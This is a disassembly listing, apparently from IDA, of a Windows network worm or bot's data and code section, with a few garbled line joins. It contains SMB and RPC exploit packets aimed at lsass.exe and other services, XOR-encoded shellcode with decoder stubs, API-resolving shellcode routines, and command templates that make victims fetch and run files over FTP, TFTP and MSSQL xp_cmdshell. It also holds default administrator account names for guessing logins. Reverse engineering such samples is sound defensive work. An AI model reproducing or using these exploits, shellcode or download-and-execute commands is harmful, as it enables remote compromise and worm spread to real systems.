					; DATA XREF: sub_402988+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D5C	dd offset loc_401495	; DATA XREF: sub_402988+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_424DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_424E5C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0	dd 0				dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
word_424F58	dw 0AD9Dh		; DATA XREF: sub_40283D+30r
					; sub_402988+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424F98	dd 1004600h						; sub_402988+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425050	dd 0A0D7325h, 0						; sub_4036EB+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40283D+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_4250BC:				; DATA XREF: sub_402988+171o
					; sub_40384C+177o
		jmp	short loc_4250C4
; ---------------------------------------------------------------------------
		jmp	short loc_4250C6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_4250C4:				; CODE XREF: .nsp0:loc_4250BCj
					; DATA XREF: sub_402988+27o ...
		pop	esp
		pop	esp


loc_4250C6:				; CODE XREF: .nsp0:004250BEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4250D0	dd 1CEC8166h						; sub_40384C+Dr
dword_4250D4	dd 0E4FF07h						; sub_40384C+16r
dword_4250D8	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; sub_4033CB+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403178+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425488	dd 20h,	0			dd 20h,	5C005Ch, 0
off_42549C	dd offset aStreetfi	; DATA XREF: sub_403178+15Do
					; "streetfi"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_4254DC	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403178+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4255EC	dd 18759Fh	dword_4255F0	dd 100139Dh	asc_4255F4:				; DATA XREF: sub_402FDD+1Co
					; sub_4030C0+16o
		unicode	0, <\\>,0
		align 4
aIpc:					; DATA XREF: sub_402FDD+Co
					; sub_4030C0+Bo
		unicode	0, <\IPC$>,0
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
		align 10h
		jmp	short loc_425632

; =============== S U B	R O U T	I N E =======================================



sub_425622	proc far		; CODE XREF: sub_425622:loc_425632p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42562A:				; CODE XREF: sub_425622+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42562A
		jmp	short loc_425637
; ---------------------------------------------------------------------------


loc_425632:				; CODE XREF: .nsp0:00425620j
		call	near ptr sub_425622


loc_425637:				; CODE XREF: sub_425622+Ej
		jo	short loc_42569B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256B9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42569B:				; CODE XREF: sub_425622:loc_425637j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_4256B9:				; CODE XREF: sub_425622+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_425760:				; DATA XREF: sub_40384C+156o
					; sub_40384C+212o
		jmp	short loc_425772

; =============== S U B	R O U T	I N E =======================================



sub_425762	proc near		; CODE XREF: sub_425762:loc_425772p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42576A:				; CODE XREF: sub_425762+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42576A
		jmp	short loc_425777
; ---------------------------------------------------------------------------


loc_425772:				; CODE XREF: .nsp0:loc_425760j
		call	sub_425762


loc_425777:				; CODE XREF: sub_425762+Ej
		jo	short near ptr dword_4256F0+1Eh
		cwde
		cdq
		cdq
		retn
sub_425762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425810	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40384C+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C8B+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_425A30	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40384C+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_425B74	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425BE0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D04	dd offset loc_401495	; DATA XREF: sub_40384C+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425D98	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425E04	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78	dd 0				dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F38	dd 1004600h						; sub_40384C+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036EB+BEo
					; sub_4051BC+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_404108+B2o
		align 4
dword_42607C	dd 10FF8h, 0	dword_426084	dd 10FF8h	dword_426088	dd 7FFDF020h, 0	dword_426090	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_426148	dd 0				dd 800000D4h, 0
unk_426154	db  81h	; 		; DATA XREF: sub_40460C+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4261A0	db 41h			; DATA XREF: sub_4046AA+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4261E4	proc near		; DATA XREF: .nsp0:00404987o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4262E0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4262F6
		mov	[esi+8], eax
		call	sub_4262A9
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4262F6
		mov	[esi+0Ch], eax
		call	sub_42625B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4262F6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4261E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; CODE XREF: sub_4261E4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_426284
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42625B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426284	proc near		; CODE XREF: sub_42625B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_426293:				; CODE XREF: sub_426284+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4262A0
		inc	ebx
		jmp	short loc_426293
; ---------------------------------------------------------------------------


loc_4262A0:				; CODE XREF: sub_426284+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_426284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262A9	proc near		; CODE XREF: sub_4261E4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4262C1:				; CODE XREF: sub_4262A9+1Ej
		cmp	[ecx], ebx
		jz	short loc_4262C9
		mov	ecx, [ecx]
		jmp	short loc_4262C1
; ---------------------------------------------------------------------------


loc_4262C9:				; CODE XREF: sub_4262A9+1Aj
		mov	edx, edi


loc_4262CB:				; CODE XREF: sub_4262A9+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4262D5
		mov	edx, [edx+4]
		jmp	short loc_4262CB
; ---------------------------------------------------------------------------


loc_4262D5:				; CODE XREF: sub_4262A9+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4262A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262E0	proc near		; CODE XREF: sub_4261E4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4262E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F6	proc near		; CODE XREF: sub_4261E4+16p
					; sub_4261E4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_42630C:				; CODE XREF: sub_4262F6+33j
		jecxz	short loc_426346
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_426319:				; CODE XREF: sub_4262F6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426325
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426319
; ---------------------------------------------------------------------------


loc_426325:				; CODE XREF: sub_4262F6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_42630C
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_426346:				; CODE XREF: sub_4262F6:loc_42630Cj
					; sub_4262F6:loc_426346j
		jmp	short loc_426346
sub_4262F6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; DATA XREF: .nsp0:00404937o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42639E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_426369:				; CODE XREF: sub_42634C+38j
		jecxz	short loc_426399
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_426374:				; CODE XREF: sub_42634C+32j
		lodsb
		test	al, al
		jz	short loc_426380
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_426374
; ---------------------------------------------------------------------------


loc_426380:				; CODE XREF: sub_42634C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_426369
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_426399:				; CODE XREF: sub_42634C:loc_426369j
		mov	[esp+arg_0], ebx
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639E	proc near		; CODE XREF: sub_42634C+7p

; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4263B7
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_4263B7:				; CODE XREF: sub_42639E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4263C2:				; CODE XREF: sub_42639E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4263D6
sub_42639E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4263C9	proc near		; CODE XREF: sub_42639E:loc_4263D6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4263C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42639E


loc_4263D6:				; CODE XREF: sub_42639E+29j
		call	sub_4263C9


loc_4263DB:				; DATA XREF: sub_4040AD+1Bo
					; sub_40CE55+819o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42639E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4263E0	dd 60h		dword_4263E4	dd 62B0606h, 2050501h, 0A0hdword_4263F0	dd 30h							; .nsp0:0042C5B4o ...
dword_4263F4	dd 0A1h		dword_4263F8	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_404108+153o
		align 4


loc_426404:				; DATA XREF: sub_404108+E8o
		jmp	short near ptr dword_42640C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42640C	dd 0		dword_426410	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .nsp0:0040495Co
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404F08+178o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404F08+E4o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: sub_404F08+47o
					; .nsp0:0042C324o
		align 4
aAdministrater	db 'administrater',0    ; DATA XREF: sub_404F08+40o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: sub_404F08+39o
					; .nsp0:0042C318o
		align 4
